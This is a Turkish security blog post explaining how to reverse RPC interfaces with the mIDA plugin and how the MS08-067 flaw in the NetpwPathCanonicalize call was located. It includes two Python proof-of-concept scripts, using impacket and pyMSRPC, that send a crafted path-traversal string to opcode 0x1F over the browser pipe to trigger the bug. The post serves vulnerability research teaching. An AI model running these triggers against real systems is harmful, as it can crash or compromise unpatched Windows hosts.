Posted on December 12th, 2013
ms08-67

/* NOT:  Bu blog yazısı biraz uzun olduğu için okunması kolay PDF Haline buradan ulaşabilirsiniz; RPC Zafiyetlerinin Keşfi – PDF  */

Penetrasyon testi yapanların büyük nimeti olan MS08-067 ‘ yi herkes bilir. Peki ya MS08-67 gibi açıklar acaba hiç nasıl bulunuyor diye düşünmüş müydünüz? O halde cevabını bu makalede bulabilirsiniz.

MS08-067 gibi zafiyetler, arka planda RPC isteklerinin yorumlanmasındaki programlama hatalarından oluşur.

RPC protokolü server-client tabanlı bir iletişim modelidir. SMB ve SAMBA  gibi servisler bu iletişim modele kullandığı gibi, bugün birçok SCADA HMI yazılımlarında da mevcuttur. (Eğer RPC yoksa da SCADA yazılımlarında benzer OPC modeli mutlak vardır.)  Yaygın kurumsal yazılımlarda da (CA Arcsight , Novell , EMC , IBM vb.)  RPC modeli çeşitli amaçlar için kullanılmaktadır.

RPC modeli , network üzerinden uzak makinedeki bir programa ait lokal fonksiyonları çalıştırmaya olanak tanımaktadır. Referanslarda bulacağınız bir makaleden DCOM/RPC ile ilgili bir alıntı yaparsak ;

“So. Each COM object resides in an apartment, and each apartment resides in a process, and each process resides in a machine, and each machine resides in a network. Allowing those objects to be used from *any* of these different places is what DCOM is all about.”

Bu fonksiyonların tanımlaması , ne şekilde – nasıl ve hangi argümanlarla çağırılacağı ise IDL  (Interface Description Language) ile belirlenir. IDL ‘ yi bir kütüphane dosyası gibi düşünebilirsiniz. IDL dosyaları RPC server/client’ı ile birlikte derlenerek, IDL tanımlamaları statik olarak çalıştırılabilir dosya içerisinde (exe, dll) tutulur.

RPC client’ı , RPC server’ın kabul ettiği IDL fonksiyon ve parametlerini kendi bünyesinde tutar. Server tarafında RPC ile bir fonksiyon çağrılacağı zaman gerekli fonksiyon ve parametleri client tarafında hazırlanır ve yine client tarafında NDR (Network Data Representation) formatına çevrilerek server’a gönderilir. Bu süreçten RPC Client Runtime Library (rpcrt4.dll) kütüphanesi sorumludur. Eğer herhangi bir RPC server/client ‘ ın network datalarını debugger ile trace ve takip ederseniz, “rpcrt4.dll” kütüphanesinin çağrıldığını görebilirsiniz. Server, client’dan gelen istekleri yine rpcrt4 kütüphanesi ile yorumlayarak gerekli fonksiyon çağrımlarını yapar.

RPC’nin diğer önemli elementi de UUID ‘ dir. UUID  adı üstünde tanımlanmış interfaceler için unique bir tanımlayıcıdır. (ActiveX clsid gibi) RPC client yapacağı isteklerde önce interface tanımlaması için UUID’yi kullanır. Daha sonra hangi fonksiyonu çalıştıracaksa IDL içerisinde o fonksiyon için tanımlanmış opcode ve parametrelerini çağırır.

IDL içerisinde tanımlanan data ve argüman yapıları , bilinen veri türlerindedir. (long, short integer, string , widechar – unicode string vb.)   Zafiyet araştırması ile uğraşanların kafasında sanırım ışık  yanmıştır :) İşte zafiyetler de aslında IDL fonksiyon parametlerinin server tarafında yorumlanma / parse vb. işlemleri esnasında ortaya çıkabilmektedir.

IDL fonksiyon ve parametleri , derlenerek binary içinde statik olarak tutuluyor demiştik. Dolayısıyla tersine mühendislik ile RPC server/client yazılımlarının IDL yapısına ulaşılabilir. IDL formatına ulaşılan bir RPC serverın, fonksiyonlarının nasıl bir yapıda çağrılacağı (UUID, opcode, argüman)  da öğrenilebilir :) Daha sonra bu fonksiyonlar üzerinde fuzzing vb. işlemler uygulanarak çeşitli memory corruption zafiyetleri aranabilir.

mIDA Plugin

Herhangi bir RPC server/client binarysinin IDL tanımlamalarına ulaşmak için mIDA pluginini kullanabilirsiniz. mIDA, IDA Disassembler plugini olup Tenable Networks tarafından geliştirilmiştir.

mIDA ‘ yı , IDA Disassembler ‘ ımıza plugin olarak yükledikten sonra CTRL + 7 kısayolu ile çağırabilirsiniz. Plugini çalıştırdığınızda aşağıdaki gibi bir ekran görüntüsü ile karşılaşacaksınız;

mIDA-decompile

mIDA bize binary içerisinde tanımlanmış RPC fonksiyonlarını bulmaktadır , daha sonra Decompile All seçeneği ile bütün bu fonksiyonlar IDL yapısına çevrilebilir. Örneğin msrpc ve smb fonksiyonlarının bulunduğu srvsvc.dll kütüphanesini mIDA ile decompile ettiğimizde , aşağıdaki gibi bir çıktı ile karşılaşıyoruz;
[c]
–snip–/* opcode: 0x1C, address: 0x74EE04E5 */long sub_74EE04E5 ([in][unique][string] wchar_t * arg_1,[out][ref] struct struct_14 ** arg_2);/* opcode: 0x1D, address: 0x74ED3D24 */

long sub_74ED3D24 (

[in][unique][string] wchar_t * arg_1,

[in][unique][string] wchar_t * arg_2,

[in] long arg_3,

[in] long arg_4

);

/* opcode: 0x1E, address: 0x74EDC8DE */

long sub_74EDC8DE (

[in][unique][string] wchar_t * arg_1,

[in][string] wchar_t * arg_2,

[out] long * arg_3,

[in] long arg_4

);

/* opcode: 0x1F, address: 0x74EDC8FA */

long sub_74EDC8FA (

[in][unique][string] wchar_t * arg_1,

[in][string] wchar_t * arg_2,

[out][size_is(arg_4)] char * arg_3,

[in][range(0,64000)] long arg_4,

[in][string] wchar_t * arg_5,

[in, out] long * arg_6,

[in] long arg_7

);

–snip–

[/c]
ms08-067 zafiyetinin yayınlanan onlarca analizden, netapi32.dll kütüphanesiki NetpwPathCanonicalize fonksiyonuyla alakalı olduğunu biliyoruz. Bu ipucu ile, srvsrc.dll den decompile ettiğimiz IDL dosyasındaki hangi opcode ve fonksiyonun NetpwPathCanonicalize fonksiyonunu çağırdığını bulabiliriz.

Sırasıyla IDA ile açtığımız srvsrc.dll içerisinde “NetpwPathCanonicalize” fonksiyonunu aratıp , daha sonra bu API ‘ nin hangi fonksiyon içerisinde çağrıldığını bulup , bulunan fonksiyonun adresi mIDA çıktısında aranabilir.

searchnetpw

callnetpw

/* opcode: 0x1F, address: 0x74EDC8FA */

long sub_74EDC8FA (

[in][unique][string] wchar_t * arg_1,

[in][string] wchar_t * arg_2,       #### vulnerable argüman

[out][size_is(arg_4)] char * arg_3,

[in][range(0,64000)] long arg_4,

[in][string] wchar_t * arg_5,

[in, out] long * arg_6,

[in] long arg_7

);

 

Görüldüğü gibi 0x1F opcode ‘ un adresi ile NetpwPathCanonicalize fonksiyonun çağrıldığı sub_fonksiyonun adresi aynı. Zafiyet , netapi!NetpwPathCanonicalize fonksiyonunda bulunmakta. Bu zafiyetin detaylarına değinmeyeceğim, detaylı bilgi referanstaki adreslerde bulunabilir. Hatta komple bu fonksiyonun decompile edilmiş versiyonuna Alexander Sotirov’un blogundan ulaşılabilir.

impacket, pyMSRPC ve MS08-067

Güvenlik araştırmacıları IDL tanımlamalarına ulaştıktan sonra genelde her bir opcode’un parametrelerini “fuzz” ederek zafiyet bulmaya çalışırlar. Burada ilgileneceğimiz ve fuzz edebileceğimiz parametreler [in] olarak belirtilenler. [out] ile belirtilenler client’a dönen cevaplar. Opcode ile fonksiyona gönderilen bu parametreler çeşitli data tiplerinde olabilir.

Yukarıdaki opcode’un [in] parametrelerine bakarsak sırasıyla;

1-) Unique

2-) Widechar / unicode string

3-) Long

4-) Widechar / unicode string

5-) Long

6-) Long

impacket, CoreSecurity tarafından geliştirilmiş, RPC paketleri oluşturmak için güzel bir python kütüphanesi. Özellikle impacket içerisindeki Structure desteği ile ms08-067 ‘ yi tetiklemeye çalışmadan önce RPC testleri için kullandığım favori modüldü.  ms08-067 ‘ yi sadece impacket ile tetikleyemeyince, arka planda impacket’den de yararlanan ismi pek bilinmeyen üstad Cody Pierce ve Aaron Portnoy’un geliştirdiği pymsrpc modülünü keşfettim ve faydalı buldum.

Öncelikle impacket ile IDL yapısına bakarak istediğimiz bir opcode’a RPC isteği nasıl gönderilir anlatmak için, impacket ile oluşturduğum python kodunu paylaşmamın faydalı olacağını düşünüyorum.

[python]
import sys
import struct
from impacket.structure import Structure
from impacket import smb
from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
from threading import Thread

target = sys.argv[1]
class ms08(Structure):   ###0x1f opcode parameters and types
alignment = 4

structure = (
(‘stub1′,    ‘w’),
(‘stub2′,    ‘w’),
(‘stub3′,    ‘<L=1′),
(‘stub4′,    ‘w’),
(‘stub5′,    ‘<L=1′),
(‘stub6′,    ‘<L=0′),
)

ndrstring = "\\A\\..\\..\\".encode(‘utf_16_le’)
ndrstring2 = ("A" * 500).encode(‘utf_16_le’)
stub2str = ndrstring + ndrstring2

query = ms08()

query[‘stub1′] = "A".encode(‘utf_16_le’)
query[‘stub2′] = stub2str
query[‘stub4′] = "".encode(‘utf_16_le’)

trans = transport.DCERPCTransportFactory(‘ncacn_np:%s[\\pipe\\browser]’ % target)
print "Connecting…"

try:
trans.connect()
except:
print "Connection fault"
exit()

print "Connected"

dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((‘4b324fc8-1670-01d3-1278-5a47bf6ee188′, ‘3.0’)))
dce.call(0x1f, query)   #NetPathCanonicalize func. opcode 0x1f</td>
[/python]

impacket ‘ in en güzel özelliği yukarıda görüldüğü gibi Structure yapısı ile parametleri tipine göre (string, long vb.) belirleyebilmek. Ancak dezavantajlarına gelince; Örneğin “ABC” gibi bir string, widechar/unicode olduğunda 410042004300 şeklinde gösterilir. Lakin impacket , structure’da data type “w” (widechar) olarak belirlense de otomatik olarak uygun formata dönüştürmüyor. Tabi yukarıda yaptığım gibi encode edip bir takla attırarak unicode formata çevirebilirsiniz.

Daha sonra impacket’in sunduğu fonksiyonlar ile bind etmek istediğiniz interface’in UUID ‘ sini vs.  belirleyip kolayca RPC isteğinizi gönderebilirsiniz.  Yine de yukarıdaki kod ms08-067 ‘ yi tetiklemede başarısız olacaktır.  Malesef impacket’in Structure class’ı içinde tanımlanmış data tiplerinde unique yok ve bizim 0x1f opcode ‘ unun ilk parametresi unique formatında. NDR formatında unique yapısına bakıp manuel eklemek için araştırmalar yaparken, biraz önce bahsettiğim pyMSRPC modülüyle karşılaşıp uğraşmama gerek kalmadığını gördüm.

[python]
import sysimport struct
from impacket.structure import Structure
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport

sys.path.append("..")
from ndr import *

target = sys.argv[1] ## target ip
stub1 = ndr_unique(data=ndr_wstring(data="A"))
stub2 = ndr_wstring(data="\\A\\..\\..\\" + "A" * 500)
stub3 = ndr_long(data=1)
stub4 = ndr_wstring(data="")
stub5 = ndr_long(data=1)
stub6 = ndr_long(data=0)

marshallized = stub1.serialize()
marshallized += stub2.serialize()
marshallized += stub3.serialize()
marshallized += stub4.serialize()
marshallized += stub5.serialize()
marshallized += stub6.serialize()

trans = transport.DCERPCTransportFactory(‘ncacn_np:%s[\\pipe\\browser]’ % target)

print "Connecting…"

try:
trans.connect()
except:
print "Connection fault"
exit()
print "Connected, sending data!"
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((‘4b324fc8-1670-01d3-1278-5a47bf6ee188′, ‘3.0’)))
dce.call(0x1f, marshallized)   #NetPathCanonicalize opcode

[/python]

Görüldüğü gibi pyMSRPC modülü , hem unique tipini desteklediği gibi hem de parametrelerin/dataların marshalling işlemini (kabaca NDR formatına dönüştürmeyi) ,  serialize() fonksiyonunu çağırarak kolayca yapabiliyorsunuz. Yukarıdaki PoC kodumuzu ms08-067 zafiyeti olan bir sistemde deneyerek , zafiyeti tetikleyebilirsiniz.

Sonuç

Yazıda kısaca RPC modeli ve IDL yapısına değinildiği gibi  çeşitli python modülleri RPC isteklerinin nasıl gönderileceği anlatılmıştır.  RPC zafiyetlerinin keşfi için mIDA ile örnekte gösterildiği gibi çeşitli RPC uygulamalarının IDL yapıları tespit edilerek ,  her bir opcode’un argümanları “fuzz”  edilebilir.

The most common question I get about the MSRPC fuzzer “does it find any new bugs” and I guess the answer is  No.  There are no new MSRPC bugs. You should give up looking for them.”  – Dave Aitel, 31 Agustos 2006:

Dave Aitel , yukarıdaki cümleyi kurduktan 4 yıl sonra bile MSRPC zafiyetleri keşfedilmiştir. Örn; CVE-2010-2567

Belki 2014 yılında MSRPC ‘ de olmasa da RPC protokolünü kullanan bir çok yazılımda hala çeşitli zero-day zafiyetleri bu şekilde keşfedilebilir.

Referanslar

Daily Dave, MSRPC Fuzzing : http://seclists.org/dailydave/2006/q3/160

Marshalling Tutorial, Mike Hearn: http://www.winehq.org/pipermail/wine-devel/2004-July/028054.html

impacket, CoreLabs: http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket

pyMSRPC:  https://code.google.com/p/pymsrpc/

Reversing MS08-67: http://dontstuffbeansupyournose.com/2008/10/23/looking-at-ms08-067/

İlgili Teknik Eğitimler

- Zafiyet Araştırma ve Exploit Geliştirme

- Malware Analiz

http://www.signalsec.com/blog/services/bilgi-guvenligi-egitimleri/